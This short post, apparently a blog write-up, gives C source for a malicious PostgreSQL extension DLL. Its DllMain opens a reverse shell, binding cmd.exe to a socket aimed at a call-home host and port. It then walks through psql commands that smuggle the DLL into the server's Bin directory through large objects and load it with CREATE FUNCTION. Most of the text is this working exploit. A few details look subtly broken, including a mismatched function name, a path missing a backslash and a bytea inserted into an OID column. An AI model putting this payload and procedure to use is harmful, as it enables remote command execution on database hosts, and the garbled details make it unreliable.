More on that Attack!

#define PG_REVSHELL_CALLHOME_SERVER "127.0.0.1" #define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h" #include <string.h> #include "fmgr.h" #include "utils/geo_decls.h" #include <winsock2.h>
#pragma comment(lib,"ws2_32")
#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif
#pragma warning(push) #pragma warning(disable: 4996) #define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,                     _In_ DWORD fdwReason,                     _In_ LPVOID lpvReserved) {     WSADATA wsaData;     SOCKET wsock;     struct sockaddr_in server;     char ip_addr[16];     STARTUPINFOA startupinfo;     PROCESS_INFORMATION processinfo;
    char *program = "cmd.exe";     const char *ip = PG_REVSHELL_CALLHOME_SERVER;     u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
    WSAStartup(MAKEWORD(2, 2), &wsaData);     wsock = WSASocket(AF_INET, SOCK_STREAM,                       IPPROTO_TCP, NULL, 0, 0);
    struct hostent *host;     host = gethostbyname(ip);     strcpy_s(ip_addr, sizeof(ip_addr),              inet_ntoa(*((struct in_addr *)host->h_addr)));
    server.sin_family = AF_INET;     server.sin_port = htons(port);     server.sin_addr.s_addr = inet_addr(ip_addr);
    WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),               NULL, NULL, NULL, NULL);
    memset(&startupinfo, 0, sizeof(startupinfo));     startupinfo.cb = sizeof(startupinfo);     startupinfo.dwFlags = STARTF_USESTDHANDLES;     startupinfo.hStdInput = startupinfo.hStdOutput =                             startupinfo.hStdError = (HANDLE)wsock;
    CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,                   NULL, NULL, &startupinfo, &processinfo);
    return TRUE; }
#pragma warning(pop) /* re-enable 4996 */
/* Add a prototype marked PGDLLEXPORT */ PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS) {     int32 arg = PG_GETARG_INT32(0);
    PG_RETURN_INT32(arg + 1); }
Here is the convoluted process of exploitation:
postgres=# CREATE TABLE hextable (hex bytea); postgres=# CREATE TABLE lodump (lo OID);
acidic@emma:~/$ echo "INSERT INTO hextable (hex) VALUES               (decode('`xxd -p pg_revshell.dll | tr -d '\n'`', 'hex'));" > sql.txt acidic@emma:~/$ psql -U postgres --host=localhost --file=sql.txt
postgres=# INSERT INTO lodump SELECT hex FROM hextable; postgres=# SELECT * FROM lodump;   lo -------  16409 (1 row) postgres=# SELECT lo_export(16409, 'C:\Program Files\PostgreSQL\9.5\Bin\pg_revshell.dll'); postgres=# CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS            'C:\Program Files\PostgreSQL\9.5\binpg_revshell.dll', 'dummy_function' LANGUAGE C STRICT;

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